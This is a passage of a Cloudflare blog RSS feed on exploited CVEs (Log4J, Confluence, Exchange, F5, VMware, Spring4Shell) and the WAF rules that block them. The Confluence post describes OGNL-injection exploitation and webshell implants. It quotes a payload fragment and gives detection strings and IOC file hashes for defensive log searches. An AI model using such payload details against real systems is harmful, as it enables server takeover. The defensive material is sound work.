Privilege Escalation - CVE:CVE-2023-22515</span></p></td><td><p><span>Block</span></p></td></tr><tr><td><p><span>Legacy Managed Rules</span></p><p><span>100604 and 100605</span></p></td><td><p><span>Atlassian Confluence - Privilege Escalation - CVE:CVE-2023-22515</span></p></td><td><p><span>Block</span></p></td></tr><tr><td><p><span>Free Managed Rule</span></p><p><span>…91935fcb</span></p></td><td><p><span>Atlassian Confluence - Privilege Escalation - CVE:CVE-2023-22515</span></p></td><td><p><span>Block</span></p></td></tr></tbody></table><p>When CVE-2023-22515 is exploited, an attacker could access public Confluence Data Center and Server instances to create unauthorized Confluence administrator accounts to access the instance. According to the advisory the vulnerability is assessed by Atlassian as critical. At the moment of writing a CVSS score is not yet known. More information can be found in the <a href="https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html?subid=1643554570&amp;jobid=106230797&amp;utm_campaign=security-advisory-confluence-sdc_EML-16991&amp;utm_medium=email&amp;utm_source=alert-email">security advisory</a>, including what versions of Confluence Server are affected.</p> ]]></content:encoded>
            <category><![CDATA[Atlassian]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">1hWndEMMdWNaLEtUyDilG8</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Daniele Molteni</dc:creator>
            <dc:creator>Sourov Zaman</dc:creator>
            <dc:creator>Vaibhav Singhal</dc:creator>
            <dc:creator>Ary Widdes</dc:creator>
            <dc:creator>Myles Robinson</dc:creator>
        </item>
        <item>
            <title><![CDATA[Unmasking the top exploited vulnerabilities of 2022]]></title>
            <link>https://blog.cloudflare.com/unmasking-the-top-exploited-vulnerabilities-of-2022/</link>
            <pubDate>Fri, 04 Aug 2023 18:29:40 GMT</pubDate>
            <description><![CDATA[ The Cybersecurity and Infrastructure Security Agency (CISA) just released a report highlighting the most commonly exploited vulnerabilities of 2022.  ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5scnKQPaND4raWHnCC5OPg/2dff3f8ebb800ddc6dd78b792b169c83/1a.png" />
            
            </figure><p>The Cybersecurity and Infrastructure Security Agency (CISA) just <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-215a">released a report highlighting the most commonly exploited vulnerabilities of 2022</a>. With our role as a reverse proxy to a large portion of the Internet, Cloudflare is in a unique position to observe how the Common Vulnerabilities and Exposures (CVEs) mentioned by CISA are being exploited on the Internet.</p><p>We wanted to share a bit of what we’ve learned.</p><p>Based on our analysis, two CVEs mentioned in the CISA report are responsible for the vast majority of attack traffic seen in the wild: Log4J and Atlassian Confluence Code Injection. Although CISA/CSA discuss a larger number of vulnerabilities in the same report, our data clearly suggests a major difference in exploit volume between the top two and the rest of the list.</p>
    <div>
      <h3>The top CVEs for 2022</h3>
      <a href="#the-top-cves-for-2022">
        
      </a>
    </div>
    <p>Looking at the volume of requests detected by WAF Managed Rules that were created for the specific CVEs listed in the CISA report, we rank the vulnerabilities in order of prevalence:</p><table><colgroup><col></col><col></col><col></col></colgroup><tbody><tr><td><p><span>Popularity rank</span></p></td><td><p><span>Description</span></p></td><td><p><span>CVEs</span></p></td></tr><tr><td><p><span>1. Improper Input Validation caused Remote Code execution in Apache Log4j logging library</span></p></td><td><p><span>Log4J</span></p></td><td><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228"><span>CVE-2021-44228</span></a></p></td></tr><tr><td><p><span>2. Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability</span></p></td><td><p><span>Atlassian Confluence Code Injection</span></p></td><td><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-26134"><span>CVE-2022-26134</span></a></p></td></tr><tr><td><p><span>3. 3 issues were combined together to achieve Remote Code execution also known as ProxyShell</span></p></td><td><p><span>Microsoft Exchange servers</span></p></td><td><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-34473"><span>CVE-2021-34473</span></a><span>, </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-31207"><span>CVE-2021-31207</span></a><span>, </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-34523"><span>CVE-2021-34523</span></a></p></td></tr><tr><td><p><span>4. undisclosed requests may bypass iControl REST authentication and run arbitrary code</span></p></td><td><p><span>BIG-IP F5</span></p></td><td><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-1388"><span>CVE-2022-1388</span></a></p></td></tr><tr><td><p><span>5. 2 issues were combined to together to achieve remote Root</span></p></td><td><p><span>VMware</span></p></td><td><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-22954"><span>CVE-2022-22954</span></a><span>, </span></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-22960"><span>CVE-2022-22960</span></a></p></td></tr><tr><td><p><span>6. Remote Code execution Issue in Confluence Server and Data Center</span></p></td><td><p><span>Atlassian Confluence 0-day</span></p></td><td><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-26084"><span>CVE-2021-26084</span></a></p></td></tr></tbody></table><p>Topping the list is Log4J (<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">CVE-2021-44228</a>). This isn’t surprising, as this is likely one of the most high impact exploits we have seen in decades — leading to full remote compromise. The second most exploited vulnerability is the Atlassian Confluence Code Injection (<a href="https://nvd.nist.gov/vuln/detail/CVE-2022-26134">CVE-2022-26134</a>).</p><p>In third place we find the combination of three CVEs targeting Microsoft Exchange servers (<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-34473">CVE-2021-34473</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-31207">CVE-2021-31207</a>, and <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-34523">CVE-2021-34523</a>). In fourth is a BIG-IP F5 exploit (<a href="https://nvd.nist.gov/vuln/detail/CVE-2022-1388">CVE-2022-1388</a>) followed by the combination of two VMware vulnerabilities (<a href="https://nvd.nist.gov/vuln/detail/CVE-2022-22954">CVE-2022-22954</a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-22960">CVE-2022-22960</a>). Our list ends with another Atlassian Confluence 0-day (<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-26084">CVE-2021-26084</a>).</p><p>When comparing the attack volume for these five groups, we immediately notice that one vulnerability stands out. Log4J is more than an order of magnitude more exploited than the runner up (Atlassian Confluence Code Injection); and all the remaining CVEs are even lower. Although the CISA/CSA report groups all these vulnerabilities together, we think that there are really two groups: one dominant CVE (Log4J), and a secondary group of comparable 0-days. Each of the two groups have similar attack volume.</p><p>The chart below, in logarithmic scale, clearly shows the difference in popularity.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4ApUqzWZKK24NL0vaQq1fL/34abfb47afb62b96d4991301fb15786f/2a.png" />
            
            </figure>
    <div>
      <h2>CVE-2021-44228: Log4J</h2>
      <a href="#cve-2021-44228-log4j">
        
      </a>
    </div>
    <p>The first on our list is the notorious CVE-2021-44228 — better known as the Log4j vulnerability. This flaw caused significant disturbance in the cyber world in 2021, and continues to be exploited extensively.</p><p>Cloudflare <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">released new managed rules</a> within hours after the vulnerability was made public. We also released updated detections in the following days (<a href="/protection-against-cve-2021-45046-the-additional-log4j-rce-vulnerability/">blog</a>). Overall, we released rules in three stages:</p><ul><li><p><a href="https://developers.cloudflare.com/waf/change-log/2021-12-10---emergency-release/">Emergency release: December 10, 2021</a></p></li><li><p><a href="https://developers.cloudflare.com/waf/change-log/2021-12-14---emergency-release/">Emergency release: December 14, 2021</a></p></li><li><p><a href="https://developers.cloudflare.com/waf/change-log/2021-12-16---emergency-release/">Emergency release: December 16, 2021</a></p></li></ul><p>The rules we deployed detect the exploit in four categories:</p><ul><li><p>Log4j Headers: Attack pattern in HTTP header</p></li><li><p>Log4j Body: Attack pattern in HTTP Body</p></li><li><p>Log4j URI: Attack Pattern in URI</p></li><li><p>Log4j Body Obfuscation: Obfuscated Attack pattern</p></li></ul><p>We have found that Log4J attacks in HTTP Headers are more common than in HTTP bodies. The graph below shows the persistence of exploit attempts for this vulnerability over time, with clear peaks and growth into July 2023 (time of writing).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5lT86fDAK2DfHk6ec5xJ2K/f5bcf34caee629f5d30f149e683bd691/2b.png" />
            
            </figure><p>Due to the high impact of this vulnerability, to step up and lead the charge for a safer, better Internet, on March 15, 2022 <a href="/waf-for-everyone/">Cloudflare announced</a> that all plans (including Free) would get WAF Managed Rules for high-impact vulnerabilities. These free rules tackle high-impact vulnerabilities such as the Log4J exploit, the Shellshock vulnerability, and various widespread WordPress exploits. Every business or personal website, regardless of size or budget, can protect their digital assets using Cloudflare’s WAF.</p><p>The <a href="https://logging.apache.org/log4j/2.x/security.html">full security advisory for Log4J published by Apache Software Foundation can be found here</a>.</p>
    <div>
      <h3>CVE-2022-26134: Atlassian Confluence Code Injection</h3>
      <a href="#cve-2022-26134-atlassian-confluence-code-injection">
        
      </a>
    </div>
    <p>A code injection vulnerability that afflicted Atlassian Confluence was the second most exploited CVE in 2022. This exploit posed a threat to entire systems, leaving many businesses at the mercy of attackers. This is an indication of how critical knowledge-based systems have become in managing information within organizations. Attackers are targeting these systems as they recognize how  important they are.. In response, the Cloudflare WAF team rolled out two emergency releases to protect its customers:</p><ul><li><p><a href="https://developers.cloudflare.com/waf/change-log/2022-06-04---emergency-release/">Emergency Release: June 4, 2022</a></p></li><li><p><a href="https://developers.cloudflare.com/waf/change-log/2022-06-07---emergency-release/">Emergency Release: June 7, 2022</a></p></li></ul><p>As part of these releases, two rules were made available to all WAF users:</p><ul><li><p>Atlassian Confluence - Code Injection - CVE:CVE-2022-26134</p></li><li><p>Atlassian Confluence - Code Injection - Extended - CVE:CVE-2022-26134</p></li></ul><p>The graph below displays the number of hits received each day, showing a clear peak followed by a gradual decline as systems were patched and secured.</p><p>Both Log4J and Confluence Code Injection show some seasonality, where a higher volume of attacks is carried out between September / November 2022 until March 2023. This likely reflects campaigns that are managed by attackers that are still attempting to exploit this vulnerability (an ongoing campaign is visible towards the end of July 2023).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3BtxJnWq1hLkOXtGGfXNGX/1dfafd372191c169e7ea2dd6bb6be000/2c.png" />
            
            </figure><p><a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html">Security advisory for reference</a>.</p>
    <div>
      <h2>CVE-2021-34473, CVE-2021-31207, and CVE-2021-34523: Microsoft Exchange SSRF and RCE Vulnerabilities</h2>
      <a href="#cve-2021-34473-cve-2021-31207-and-cve-2021-34523-microsoft-exchange-ssrf-and-rce-vulnerabilities">
        
      </a>
    </div>
    <p>Three previously unknown bugs were chained together to achieve a Remote Code Execution (RCE) 0-day attack. Given how widely adopted Microsoft Exchange servers are, these exploits posed serious threats to data security and business operations across all industries, geographies and sectors.</p><p>Cloudflare WAF published a rule for this vulnerability with the <a href="https://developers.cloudflare.com/waf/change-log/2022-10-03---emergency-release/">Emergency Release: March 3, 2022</a> that contained the rule <i>Microsoft Exchange SSRF and RCE vulnerability - CVE:CVE-2022-41040, CVE:CVE-2022-41082.</i></p><p>The trend of these attacks over the past year can be seen in the graph below.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5X7Bcw6QYIYEQwnjhtI5rs/f9e385f942398ea84efc379cd5498bdf/2d.png" />
            
            </figure><p>Security advisories for reference: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473">CVE-2021-34473</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207">CVE-2021-31207</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523">CVE-2021-34523</a>.</p>
    <div>
      <h2>CVE-2022-1388: RCE in BIG-IP F5</h2>
      <a href="#cve-2022-1388-rce-in-big-ip-f5">
        
      </a>
    </div>
    <p>This particular security vulnerability can be exploited where an unauthenticated adversary has network connectivity to the BIG-IP system (the F5 product name of a group of application security and performance solutions). Either via the management interface or self-assigned IP addresses the attacker can execute unrestricted system commands.</p><p>Cloudflare did an emergency release to detect this issue (<a href="https://developers.cloudflare.com/waf/change-log/2022-05-10---emergency-release/">Emergency Release: May 5, 2022</a>) with the rule <i>Command Injection - RCE in BIG-IP - CVE:CVE-2022-1388.</i></p><p>There is a relatively persistent pattern of exploitation without signs of specific campaigns, with the exception of a spike occurring in late June 2023.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5QPTMMYjgy5Mh0noAO0G9B/33039df2c5d0230372656cfcdc6124c0/2e.png" />
            
            </figure><p>a</p><p><a href="https://my.f5.com/manage/s/article/K23605346">F5 security advisory for reference</a>.</p>
    <div>
      <h3>CVE-2022-22954: VMware Workspace ONE Access and Identity Manager Server-side Template Injection Remote Code Execution Vulnerability</h3>
      <a href="#cve-2022-22954-vmware-workspace-one-access-and-identity-manager-server-side-template-injection-remote-code-execution-vulnerability">
        
      </a>
    </div>
    <p>With this vulnerability, an attacker can remotely trigger a server-side template injection that may result in remote code execution. Successful exploitation allows an unauthenticated attacker with network access to the web interface to execute an arbitrary shell command as the VMware user. Later, this issue was combined with CVE-2022-22960 (which was a Local Privilege Escalation Vulnerability (LPE) issue). In combination, these two vulnerabilities allowed remote attackers to execute commands with root privileges.</p><p>Cloudflare WAF published a rule for this vulnerability: <a href="https://developers.cloudflare.com/waf/change-log/2022-04-25/">Release: May 5, 2022</a>. Exploit attempt graph over time shown below.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/TmLAw8UQWYk238JNusY1R/c0efa68e02417deff690be2b96e55264/2f.png" />
            
            </figure><p><a href="https://www.vmware.com/security/advisories/VMSA-2022-0011.html">VMware Security advisory</a>.</p>
    <div>
      <h3>CVE-2021-26084: Confluence Server Webwork OGNL injection</h3>
      <a href="#cve-2021-26084-confluence-server-webwork-ognl-injection">
        
      </a>
    </div>
    <p>An OGNL injection vulnerability was found that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. Cloudflare WAF performed an <a href="https://developers.cloudflare.com/waf/change-log/2021-09-01---emergency-release/">emergency release for this vulnerability on September 9, 2022</a>. When compared to the other CVEs discussed in this post, we have not observed a lot of exploits over the past year.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/9RU0rpZyzlnfte3FSHuas/642a23740fd2c2e035e1b0944566d8aa/2g.png" />
            
            </figure><p><a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html">Official security advisory</a>.</p>
    <div>
      <h3>Recommendations for enhanced protection</h3>
      <a href="#recommendations-for-enhanced-protection">
        
      </a>
    </div>
    <p>We recommend all server admins to keep their software updated when fixes become available. Cloudflare customers — including those on our free tier — can leverage new rules addressing CVEs and 0-day threats, <a href="https://developers.cloudflare.com/waf/change-log/">updated weekly in the Managed Ruleset</a>. High-risk CVEs may even prompt emergency releases. In addition to this, Enterprise customers have access to the <a href="/waf-ml/">WAF Attack Score</a>: an AI-powered detection feature that supplements traditional signature-based rules, identifying unknown threats and bypass attempts. With the combined strength of rule-based and AI detection, Cloudflare offers <a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">robust defense against known and emerging threats</a>.</p>
    <div>
      <h2>Conclusions</h2>
      <a href="#conclusions">
        
      </a>
    </div>
    <p>Cloudflare’s data is able to augment CISA’s vulnerability report — of note, we see attempts to exploit the top two vulnerabilities that are several orders of magnitude more compared to the remainder of the list. Organizations should focus their software patching efforts based on the list provided. It is, of course, important to note that all software should be patched, and good WAF implementations will ensure additional security and “buy time” for underlying systems to be secured for both existing and future vulnerabilities.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CISA]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">3tRYQMQiHufQpDCK8nmuuP</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Sabina Zejnilovic</dc:creator>
            <dc:creator>Daniele Molteni</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare observations of Confluence zero day (CVE-2022-26134)]]></title>
            <link>https://blog.cloudflare.com/cloudflare-observations-of-confluence-zero-day-cve-2022-26134/</link>
            <pubDate>Sun, 05 Jun 2022 20:54:47 GMT</pubDate>
            <description><![CDATA[ UTC Atlassian released a Security Advisory relating to a remote code execution (RCE) vulnerability affecting Confluence Server and Confluence Data Center products. ]]></description>
            <content:encoded><![CDATA[ <p>On 2022-06-02 at 20:00 UTC <a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html">Atlassian released a Security Advisory</a> relating to a <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution (RCE)</a> vulnerability affecting Confluence Server and Confluence Data Center products. This post covers our current analysis of this vulnerability.</p><p>When we learned about the vulnerability, Cloudflare’s internal teams <a href="/cloudflare-customers-are-protected-from-the-atlassian-confluence-cve-2022-26134/">immediately engaged</a> to ensure all our customers and our own infrastructure were protected:</p><ul><li><p>Our Web Application Firewall (WAF) teams started work on our first <a href="/cloudflare-customers-are-protected-from-the-atlassian-confluence-cve-2022-26134/">mitigation rules</a> that were deployed on 2022-06-02 at 23:38 UTC for all customers.</p></li><li><p>Our internal security team started reviewing our Confluence instances to ensure Cloudflare itself was not impacted.</p></li></ul>
    <div>
      <h3>What is the impact of this vulnerability?</h3>
      <a href="#what-is-the-impact-of-this-vulnerability">
        
      </a>
    </div>
    <p><a href="https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/">According to Volexity</a>, the vulnerability results in full unauthenticated RCE, allowing an attacker to fully take over the target application.</p><p>Active exploits of this vulnerability leverage command injections using specially crafted strings to load a malicious class file in memory, allowing attackers to subsequently plant a webshell on the target machine that they can interact with.</p><p>Once the vulnerability is exploited, attackers can implant additional malicious code such as <a href="https://github.com/Freakboy/Behinder">Behinder</a>; a custom webshell called noop.jsp, which replaces the legitimate noop.jsp file located at Confluence root&gt;/confluence/noop.jsp; and another open source webshell called <a href="https://github.com/tennc/webshell/blob/master/caidao-shell/%E8%8F%9C%E5%88%80jsp%E4%BF%AE%E6%94%B9.jsp">Chopper</a>.</p>
    <div>
      <h3>Our observations of exploit attempt in the wild</h3>
      <a href="#our-observations-of-exploit-attempt-in-the-wild">
        
      </a>
    </div>
    <p>Once we learned of the vulnerability, we began reviewing our WAF data to identify activity related to exploitation of the vulnerability. We identified requests matching potentially malicious payloads as early as 2022-05-26 00:33 UTC, indicating that knowledge of the exploit was realized by some attackers prior to the Atlassian security advisory.</p><p>Since our mitigation rules were put in place, we have seen a large spike in activity starting from 2022-06-03 10:30 UTC — a little more than 10 hours after the new WAF rules were first deployed. This large spike coincides with the increased awareness of the vulnerability and release of public proof of concepts. Attackers are actively scanning for vulnerable applications at time of writing.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1IKKemXcnzUEHLEmQQrkOE/ab2f1228eb76ce5d17642ad1a1fa1eea/image2-1.png" />
            
            </figure><p>Although we have seen valid attack payloads since 2022-05-26, many payloads that started matching our initial WAF mitigation rules once the advisory was released were not valid against this specific vulnerability. Examples provided below:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7fvJyCJWOgwmFHSZ2xvwF0/0504607939ea41ecb9574c54c2cbd7fe/Screenshot-2022-06-05-at-21.27.02.png" />
            
            </figure><p>The activity above indicates that actors were using scanning tools to try and identify the attack vectors. Exact knowledge of how to exploit the vulnerability may have been consolidated amongst select attackers and may not have been widespread.</p><p>The decline in WAF rule matches in the graph above after 2022-06-03 23:00 UTC is due to us releasing improved WAF rules. The new, updated rules greatly improved accuracy, reducing the number of false positives, such as the examples above.</p><p>A valid malicious URL targeting a vulnerable Confluence application is shown below:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Y0Pq6cYpZ7QnktHmGw8J3/5d9527c10b5b919166524124aca34e34/Screenshot-2022-06-05-at-21.31.21-1.png" />
            
            </figure><p>(Where <code>$HOSTNAME</code> is the host of the target application.)</p><p>The URL above will run the contents of the HTTP request post body <code>eval(#parameters.data[0])</code>. Normally this will be a script that will download a web shell to the local server allowing the attacker to run arbitrary code on demand.</p><p>Other example URLs, omitting the schema and hostname, include:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/70pRSh2wwa3VOobn1qW3IQ/0510af994d2b19a56365b931726ad3ff/Screenshot-2022-06-05-at-21.35.24.png" />
            
            </figure><p>Some of the activity we are observing is indicative of malware campaigns and botnet behavior. It is important to note that given the payload structure, other WAF rules have also been effective at mitigating particular variations of the attack. These include rule <b>PHP100011</b> and <b>PLONE0002</b>.</p>
    <div>
      <h3>Cloudflare's response to CVE-2022-26134</h3>
      <a href="#cloudflares-response-to-cve-2022-26134">
        
      </a>
    </div>
    <p>We have a defense-in-depth approach which uses Cloudflare to protect Cloudflare. We had high confidence that we were not impacted by this vulnerability due to the security measures in place. We confirmed this by leveraging our detection and response capabilities to sweep all of our internal assets and logs for signs of attempted compromise.</p><p>The main actions we took in response to this incident were:</p><ol><li><p>Gathered as much information as possible about the attack.</p></li><li><p>Engaged our WAF team to start working on mitigation rules for this CVE.</p></li><li><p>Searched our logs for any signs of compromise.</p></li><li><p>We searched the logs from our internal Confluence instances for any signs of attempted exploits. We supplemented our assessment with the pattern strings provided by Atlassian: "<code>${</code>".</p></li><li><p>Any matches were reviewed to find out if they could be actual exploits. We found no signs that our systems were targeted by actual exploits.</p></li><li><p>As soon as the WAF team was confident of the quality of the new rules, we started deploying them to all our servers to start protecting our customers as soon as possible. As we also use the WAF for our internal systems, our Confluence instances are also protected by the new WAF rules.</p></li><li><p>We scrutinized our Confluence servers for signs of compromise and the presence of malicious implants. No signs of compromise were detected.</p></li><li><p>We deployed rules to our SIEM and monitoring systems to detect any new exploitation attempt against our Confluence instances.</p></li></ol>
    <div>
      <h3>How Cloudflare uses Confluence</h3>
      <a href="#how-cloudflare-uses-confluence">
        
      </a>
    </div>
    <p>Cloudflare uses Confluence internally as our main wiki platform. Many of our teams use Confluence as their main knowledge-sharing platform. Our internal instances are protected by Cloudflare Access. In previous blog posts, we described <a href="/dogfooding-from-home/">how we use Access to protect internal resources</a>. This means that every request sent to our Confluence servers must be authenticated and validated in accordance with our Access policies. No unauthenticated access is allowed.</p><p>This allowed us to be confident that only Cloudflare users are able to submit requests to our Confluence instances, thus reducing the risk of external exploitation attempts.</p>
    <div>
      <h3>What to do if you are using Confluence on-prem</h3>
      <a href="#what-to-do-if-you-are-using-confluence-on-prem">
        
      </a>
    </div>
    <p>If you are an Atlassian customer for their on-prem products, you should patch to their latest fixed versions. We advise the following actions:</p><ol><li><p>Add Cloudflare Access as an extra protection layer for all your websites. Easy-to-follow instructions to enable Cloudflare Access are available <a href="https://developers.cloudflare.com/cloudflare-one/applications/configure-apps/self-hosted-apps/">here</a>.</p></li><li><p>Enable a WAF that includes protection for CVE-2022-26134 in front of your Confluence instances. For more information on how to enable Cloudflare's WAF and other security products, check <a href="https://developers.cloudflare.com/fundamentals/get-started/task-guides/secure-your-website/">here</a>.</p></li><li><p>Check the logs from your Confluence instances for signs of exploitation attempts. Look for the strings <code>/wiki/</code> and <code>${</code> in the same request.</p></li><li><p>Use forensic tools and check for signs of post-exploitation tools such as webshells or other malicious implants.</p></li></ol>
    <div>
      <h3>Indicators of compromise and attack</h3>
      <a href="#indicators-of-compromise-and-attack">
        
      </a>
    </div>
    <p>The following indicators are associated with activity observed in the wild by Cloudflare, as described above. These indicators can be searched for against logs to determine if there is compromise in the environment associated with the Confluence vulnerability.</p><p><b>Indicators of Compromise (IOC)</b></p><table><tr><td><p><b>#</b></p></td><td><p><b>Type</b></p></td><td><p><b>Value</b></p></td><td><p><b>Filename/Hash</b></p></td></tr><tr><td><p>
1</p></td><td><p>
File</p></td><td><p>50f4595d90173fbe8b85bd78a460375d8d5a869f1fef190f72ef993c73534276</p></td><td><p>Filename: 45.64.json
Malicious file associated with exploit</p></td></tr><tr><td><p>
2</p></td><td><p>
File</p></td><td><p>b85c16a7a0826edbcddbd2c17078472169f8d9ecaa7209a2d3976264eb3da0cc</p></td><td><p>Filename: 45.64.rar
Malicious file associated with exploit</p></td></tr><tr><td><p>
3</p></td><td><p>
File</p></td><td><p>90e3331f6dd780979d22f5eb339dadde3d9bcf51d8cb6bfdc40c43d147ecdc8c</p></td><td><p>Filename: 45.640.txt
Malicious file associated with exploit</p></td></tr><tr><td><p>4</p></td><td><p>File</p></td><td><p>1905fc63a9490533dc4f854d47c7cb317a5f485218173892eafa31d7864e2043</p></td><td><p>Filename: 45.647.txt
Malicious file associated with exploit</p></td></tr><tr><td><p>5</p></td><td><p>File</p></td><td><p>5add63588480287d1aee01e8dd267340426df322fe7a33129d588415fd6551fc</p></td><td><p>Filename: lan (perl script)
Malicious file associated with exploit</p></td></tr><tr><td><p>6</p></td><td><p>File</p></td><td><p>67c2bae1d5df19f5f1ac07f76adbb63d5163ec2564c4a8310e78bcb77d25c988</p></td><td><p>Filename: jui.sh
Malicious file associated with exploit</p></td></tr><tr><td><p>7</p></td><td><p>File</p></td><td><p>281a348223a517c9ca13f34a4454a6fdf835b9cb13d0eb3ce25a76097acbe3fb</p></td><td><p>Filename: conf
Malicious file associated with exploit</p></td></tr></table><p><b>Indicators of Attack (IOA)</b></p><table><tr><td><p><b>#</b></p></td><td><p><b>Type</b></p></td><td><p><b>Value</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>1</p></td><td><p>URL String</p></td><td><p><code>${</code></p></td><td><p>String used to craft malicious payload</p></td></tr><tr><td><p>2</p></td><td><p>URL String</p></td><td><p><code>javax.script.ScriptEngineManager</code></p></td><td><p>String indicative of ScriptEngine manager to craft malicious payloads</p></td></tr></table><p></p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <guid isPermaLink="false">j2kQP8hkENoxJ6Nhn4VEf</guid>
            <dc:creator>Vaibhav Singhal</dc:creator>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Daniel Stinson-Diess</dc:creator>
            <dc:creator>Sourov Zaman</dc:creator>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[WAF mitigations for Spring4Shell]]></title>
            <link>https://blog.cloudflare.com/waf-mitigations-spring4shell/</link>
            <pubDate>Thu, 31 Mar 2022 15:13:13 GMT</pubDate>
            <description><![CDATA[ Cloudflare Managed Ruleset updates for the recent vulnerabilities affecting the Java Spring framework and related software components ]]></description>
            <content:encoded><![CDATA[ <p></p><p>This post was updated on 5th April 2022 to include toggled rules and new rules for CVE-2022-22965</p><p>A set of high profile vulnerabilities have been identified affecting the popular <a href="https://spring.io/">Java Spring Framework</a> and related software components - generally being referred to as Spring4Shell.</p><p>Four CVEs (Common Vulnerabilities and Exposures) have been released so far and are being actively updated as new information emerges. These vulnerabilities can result, in the worst case, in full remote code execution (RCE) compromise:</p><ul><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947">CVE-2022-22947</a> - [<a href="https://tanzu.vmware.com/security/cve-2022-22947">official VMware post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22950">CVE-2022-22950</a> - [<a href="https://tanzu.vmware.com/security/cve-2022-22950">official VMware post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963">CVE-2022-22963</a> - [<a href="https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function">official Spring project post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965">CVE-2022-22965</a> - [<a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">official Spring project post</a>]</p></li></ul><p>Customers using Java Spring and related software components, such as the Spring Cloud Gateway, should immediately review their software and update to the latest versions by following the official Spring project guidance.</p><p>The <a href="https://www.cloudflare.com/waf/">Cloudflare WAF</a> team is actively monitoring these CVEs and has already deployed a number of new managed mitigation rules. Customers should review the rules listed below to ensure they are enabled while also patching the underlying Java Spring components.</p>
    <div>
      <h3>CVE-2022-22947</h3>
      <a href="#cve-2022-22947">
        
      </a>
    </div>
    <p>A new rule has been developed and deployed for this CVE with an <a href="https://developers.cloudflare.com/waf/change-log/2022-03-29-emergency-release/">emergency release on March 29,</a> which started blocking the vulnerability since the <a href="https://developers.cloudflare.com/waf/change-log/2022-04-04-emergency-release/">emergency release on the 4th, April  2022</a>:</p><p>Managed Rule <b><i><b>Spring - CVE:CVE-2022-22947</b></i></b></p><ul><li><p>WAF rule ID: <code>e777f95584ba429796856007fbe6c869</code></p></li><li><p>Legacy rule ID: <code>100522</code></p></li></ul>
    <div>
      <h3>CVE-2022-22950 and CVE-2022-22963</h3>
      <a href="#cve-2022-22950-and-cve-2022-22963">
        
      </a>
    </div>
    <p>Currently, available PoCs are blocked by the following rule:</p><p>Managed <i>Rule </i><b><i>PHP - Code Injection</i></b></p><ul><li><p>WAF rule ID: <code>55b100786189495c93744db0e1efdffb</code></p></li><li><p>Legacy rule ID: <code>PHP100011</code></p></li></ul>
    <div>
      <h3>CVE-2022-22963 and CVE-2022-22965</h3>
      <a href="#cve-2022-22963-and-cve-2022-22965">
        
